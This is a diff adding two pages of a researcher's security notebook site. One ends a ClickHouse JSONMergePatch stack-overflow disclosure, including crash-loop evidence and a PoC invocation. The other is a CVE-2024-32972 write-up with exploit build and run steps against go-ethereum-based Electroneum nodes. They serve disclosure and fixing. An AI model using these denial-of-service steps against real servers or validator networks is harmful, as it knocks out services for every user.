| + | Crash #6: down 23s, recovered 01:04:39 UTC | |
| + | ||
| + | Total time: 93s | Downtime: 93s | Downtime ratio: 100% | |
| + | </code></pre> | |
| + | <p>The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.</p> | |
| + | <h2>Crash-Triggering Paths (Verified)</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Trigger</th> | |
| + | <th>Crashes?</th> | |
| + | <th>Notes</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>SELECT JSONMergePatch(deep, deep)</code> as admin</td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>Direct query, one HTTP request</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>SELECT JSONMergePatch(deep, deep)</code> as SELECT-only user</td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>No admin privileges needed</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>SELECT JSONMergePatch(config, config) FROM table</code> by different user</td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>Cross-user stored data trigger</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Poison in shared table → analyst query</td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>Writer plants, analyst crashes server</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep)</code></td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>Type inference evaluation</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Sustained crash loop (6 cycles)</td> | |
| + | <td><strong>100% downtime</strong></td> | |
| + | <td>Server never available during attack</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Depth 25,000</td> | |
| + | <td><strong>YES</strong></td> | |
| + | <td>Minimum crash threshold</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Depth 20,000</td> | |
| + | <td>No</td> | |
| + | <td>Below stack limit</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Root Cause Analysis</h2> | |
| + | <p><strong>File:</strong> <code>src/Functions/jsonMergePatch.cpp</code>, lines 70-91</p> | |
| + | <p>The <code>merge_objects</code> recursive lambda performs recursive descent on two JSON document trees to merge them:</p> | |
| + | <pre><code class="language-cpp">auto merge_objects = [&](auto && self, auto && lhs, const auto & rhs) -> void | |
| + | { | |
| + | for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it) | |
| + | { | |
| + | auto lhs_it = lhs.FindMember(it->name); | |
| + | if (lhs_it != lhs.MemberEnd()) | |
| + | { | |
| + | if (lhs_it->value.IsObject() && it->value.IsObject()) | |
| + | self(self, lhs_it->value, it->value); // ← UNBOUNDED RECURSION | |
| + | // ... | |
| + | } | |
| + | // ... | |
| + | } | |
| + | }; | |
| + | </code></pre> | |
| + | <p><strong>The bug:</strong> | |
| + | 1. RapidJSON is configured with <code>kParseIterativeFlag</code> (line 14), so it parses arbitrarily deep JSON documents <strong>iteratively</strong> without stack overflow, the parsing is safe. | |
| + | 2. However, the subsequent <code>merge_objects</code> call recurses to the full depth of the documents with <strong>no depth limit and no <code>checkStackSize()</code> call</strong>. | |
| + | 3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.</p> | |
| + | <p><strong>Why ClickHouse’s existing protections don’t apply:</strong> | |
| + | - <code>max_parser_depth</code> (default 1000) limits the SQL parser, not JSON parsing | |
| + | - <code>checkStackSize()</code> is used throughout the query pipeline but was never added to <code>merge_objects</code> | |
| + | - RapidJSON’s iterative parser correctly handles deep documents, but the merge function does not | |
| + | - No setting exists to limit JSON document depth for this function</p> | |
| + | <h2>Evidence of Repeated Crashes</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Crash #</th> | |
| + | <th>Trigger</th> | |
| + | <th>User</th> | |
| + | <th>Uptime After</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>1</td> | |
| + | <td><code>SELECT</code> depth 50,000</td> | |
| + | <td>avnadmin</td> | |
| + | <td>19s</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>2</td> | |
| + | <td><code>SELECT</code> depth 25,000</td> | |
| + | <td>avnadmin</td> | |
| + | <td>29s</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>3</td> | |
| + | <td><code>CREATE VIEW</code></td> | |
| + | <td>avnadmin</td> | |
| + | <td>28s</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>4</td> | |
| + | <td><code>SELECT</code> from stored table data</td> | |
| + | <td>avnadmin</td> | |
| + | <td>148s</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>5</td> | |
| + | <td><code>SELECT</code> from stored data</td> | |
| + | <td>analyst (SELECT-only)</td> | |
| + | <td>8s</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>6</td> | |
| + | <td>Cross-join on shared_analytics</td> | |
| + | <td>analyst (SELECT-only)</td> | |
| + | <td>- (server down)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>7-12</td> | |
| + | <td>Sustained crash loop (6 cycles)</td> | |
| + | <td>avnadmin</td> | |
| + | <td>1s, 2s, 8s, 1s,, -</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Impact</h2> | |
| + | <ul> | |
| + | <li><strong>Availability:</strong> 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.</li> | |
| + | <li><strong>Privilege level:</strong> Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted <code>analyst</code> user).</li> | |
| + | <li><strong>Persistence:</strong> Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.</li> | |
| + | <li><strong>Stealth:</strong> Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with <code>shared_analytics</code>). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious.</li> | |
| + | <li><strong>Scope change:</strong> The <em>victim</em> of the crash is not the attacker. A <code>writer</code> inserts data; an <code>analyst</code> running a routine report crashes the server for <em>all</em> users.</li> | |
| + | <li><strong>Blast radius:</strong> All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.</li> | |
| + | <li><strong>Ease:</strong> One HTTP request. No tools beyond <code>curl</code>. No special permissions.</li> | |
| + | </ul> | |
| + | <h2>Recommended Fix</h2> | |
| + | <ol> | |
| + | <li> | |
| + | <p><strong>Immediate:</strong> Add a depth counter to <code>merge_objects</code> in <code>jsonMergePatch.cpp</code> and throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, add <code>checkStackSize()</code> inside the recursive lambda.</p> | |
| + | </li> | |
| + | <li> | |
| + | <p><strong>Defense in depth:</strong> Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.</p> | |
| + | </li> | |
| + | </ol> | |
| + | <h2>Proof of concept</h2> | |
| + | <p>Single-shell repro: <a href="aiven/poc/clickhouse-crash.sh"><code>aiven/poc/clickhouse-crash.sh</code></a></p> | |
| + | <pre><code class="language-bash">HOST="<your-instance>.<host>:26161" | |
| + | USER="<select-only-user>" | |
| + | PASS="<password>" | |
| + | ./aiven/poc/clickhouse-crash.sh "$HOST" "$USER" "$PASS" | |
| + | </code></pre> | |
| + | <p>The script issues one <code>SELECT JSONMergePatch(...)</code> with two deeply nested | |
| + | JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23 | |
| + | seconds. Loop the script and the instance never stays up long enough to | |
| + | serve real queries.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,395 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service | Zion Boggan</title> | |
| + | <meta name="description" content="N-day demonstration of CVE-2024-32972 against an unpatched go-ethereum fork. Single unauthenticated TCP packet causes 7.8 GB allocation, OOM-kills the"> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/cve-2024-32972-getblockheaders-underflow/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service | Zion Boggan"> | |
| + | <meta property="og:description" content="N-day demonstration of CVE-2024-32972 against an unpatched go-ethereum fork. Single unauthenticated TCP packet causes 7.8 GB allocation, OOM-kills the"> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/cve-2024-32972-getblockheaders-underflow/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service | Zion Boggan"> | |
| + | <meta name="twitter:description" content="N-day demonstration of CVE-2024-32972 against an unpatched go-ethereum fork. Single unauthenticated TCP packet causes 7.8 GB allocation, OOM-kills the"> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service","description":"N-day demonstration of CVE-2024-32972 against an unpatched go-ethereum fork. Single unauthenticated TCP packet causes 7.8 GB allocation, OOM-kills the","url":"https://zionboggan.com/security-research-notebook/cve-2024-32972-getblockheaders-underflow/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">DoS / unauth</div> | |
| + | <h1>CVE-2024-32972: Integer Underflow in GetBlockHeaders Causes Full Network Denial of Service</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>VRT:</strong> Server Security Misconfiguration > Lack of Security Patches > Critical | |
| + | <strong>Severity:</strong> P1 | |
| + | <strong>Target:</strong> Electroneum Smart Chain (etn-sc)</p> | |
| + | <hr /> | |
| + | <h2>Summary</h2> | |
| + | <p>Electroneum Smart Chain (etn-sc) is vulnerable to CVE-2024-32972, a critical integer underflow in the <code>GetBlockHeaders</code> p2p message handler. A single unauthenticated TCP connection to any etn-sc node can trigger an unbounded memory allocation that crashes the node via OOM kill. By targeting all ~30 IBFT validators simultaneously, an attacker halts consensus and shuts down the entire Electroneum network. The upstream fix (go-ethereum PR #29534, v1.13.15) has not been applied.</p> | |
| + | <hr /> | |
| + | <h2>Vulnerability Details</h2> | |
| + | <p>etn-sc is a fork of go-ethereum v1.10.18. In <code>eth/protocols/eth/handlers.go</code>, the function <code>serviceContiguousBlockHeaderQuery()</code> processes incoming <code>GetBlockHeaders</code> requests:</p> | |
| + | <pre><code class="language-go">func serviceContiguousBlockHeaderQuery(chain *core.BlockChain, query *GetBlockHeadersPacket) []rlp.RawValue { | |
| + | count := query.Amount // attacker sends Amount = 0 | |
| + | if count > maxHeadersServe { | |
| + | count = maxHeadersServe // 0 < 1024, not triggered | |
| + | } | |
| + | // ...hash-mode path (line 185): | |
| + | descendants := chain.GetHeadersFrom(num+count-1, count-1) | |
| + | // count-1 = 0 - 1 = 18446744073709551615 (UINT64_MAX) | |
| + | </code></pre> | |
| + | <p>The <code>count-1</code> expression wraps from 0 to <code>UINT64_MAX</code> because <code>count</code> is <code>uint64</code> and is never checked for zero. This is passed to <code>GetHeadersFrom()</code> in <code>core/headerchain.go</code>:</p> | |
| + | <pre><code class="language-go">func (hc *HeaderChain) GetHeadersFrom(number, count uint64) []rlp.RawValue { | |
| + | if current := hc.CurrentHeader().Number.Uint64(); current < number { | |
| + | if count > number-current { | |
| + | count -= number - current // clamps count to current chain height | |
| + | number = current | |
| + | } | |
| + | } | |
| + | // ...iterates and allocates RLP-encoded headers for `count` blocks | |
| + | </code></pre> | |
| + | <p>The clamping logic reduces <code>count</code> from <code>UINT64_MAX</code> to the current chain height. On Electroneum mainnet (~13 million blocks), this results in a single allocation of approximately <strong>13,000,000 headers x ~600 bytes = 7.8 GB</strong>, which exceeds available memory on typical validator nodes and triggers an OOM kill.</p> | |
| + | <p>The function is reached when the incoming <code>GetBlockHeadersPacket</code> has <code>Skip=0</code> (contiguous path) and <code>Origin.Hash</code> set to a known block hash.</p> | |
| + | <p><strong>Upstream fix:</strong> go-ethereum PR #29534 (v1.13.15) adds a single guard:</p> | |
| + | <pre><code class="language-go">if query.Amount == 0 { return nil } | |
| + | </code></pre> | |
| + | <p>This fix is NOT present in etn-sc.</p> | |
| + | <hr /> | |
| + | <h2>Steps to Reproduce</h2> | |
| + | <h3>Prerequisites</h3> | |
| + | <ul> | |
| + | <li>Go 1.18+ installed</li> | |
| + | <li>Network access to an etn-sc node’s p2p port (default 30303)</li> | |
| + | </ul> | |
| + | <h3>Build the Exploit</h3> | |
| + | <pre><code class="language-bash">mkdir etn-dos && cd etn-dos | |
| + | go mod init etn-dos | |
| + | go get github.com/ethereum/go-ethereum@v1.10.18 | |
| + | # Copy main.go from attached exploit source | |
| + | go build -o etn-dos-exploit . | |
| + | </code></pre> | |
| + | <h3>Run Against Local Testnet</h3> | |
| + | <pre><code class="language-bash"># Start a 4-node IBFT testnet (genesis.json and node configs attached) | |
| + | ./etn-dos-exploit \ | |
| + | --target "enode://<node_pubkey>@127.0.0.1:30301" \ | |
| + | --network local \ | |
| + | --repeat 3 | |
| + | </code></pre> | |
| + | <h3>Expected Output</h3> | |
| + | <pre><code>[1/5] TCP Connect to 127.0.0.1:30301 | |
| + | [+] Connected | |
| + | [2/5] RLPx Handshake (ECIES) | |
| + | [+] Encrypted transport established | |
| + | [3/5] p2p Hello (capability exchange) | |
| + | [+] Peer: etn-sc/vAurelius-6.0.0-stable-97d47ca7/linux-amd64/go1.24.2 | |
| + | [+] Caps: etn/66, etn-istanbul/100, etn-snap/1 | |
| + | [4/5] etn/66 Status Handshake | |
| + | [+] Peer network=31337 TD=510 genesis=0xf44e17a0... | |
| + | [5/5] Sending Exploit Payload (GetBlockHeaders Amount=0) | |
| + | [+] Sent malicious GetBlockHeaders #1 (code=0x13, reqId=1337) | |
| + | [+] Sent malicious GetBlockHeaders #2 (code=0x13, reqId=1338) | |
| + | [+] Sent malicious GetBlockHeaders #3 (code=0x13, reqId=1339) | |
| + | </code></pre> | |
| + | <p>On a short testnet (676 blocks), the node processes the request and responds. On mainnet (~13M blocks), the same payload causes multi-GB allocation, triggering OOM kill.</p> | |
| + | <h3>Memory Spike, Measured on Testnet (676 blocks)</h3> | |
| + | <p>50 concurrent exploit connections (5 packets each) against a single node:</p> | |
| + | <pre><code>BEFORE: 111,012 KB (108 MB) ← baseline | |
| + | T+1: 111,016 KB (108 MB) | |
| + | T+2: 126,448 KB (123 MB) ← allocations begin | |
| + | T+3: 186,244 KB (181 MB) ← +73 MB spike | |
| + | T+4: 201,844 KB (197 MB) | |
| + | T+5: 210,440 KB (205 MB) | |
| + | T+6: 219,692 KB (214 MB) | |
| + | T+7: 225,888 KB (220 MB) | |
| + | T+8: 228,496 KB (223 MB) | |
| + | T+9: 228,660 KB (223 MB) ← peak | |
| + | T+10: 228,828 KB (223 MB) | |
| + | </code></pre> | |
| + | <p><strong>Result: +115 MB from 50 connections against 676 blocks.</strong></p> | |
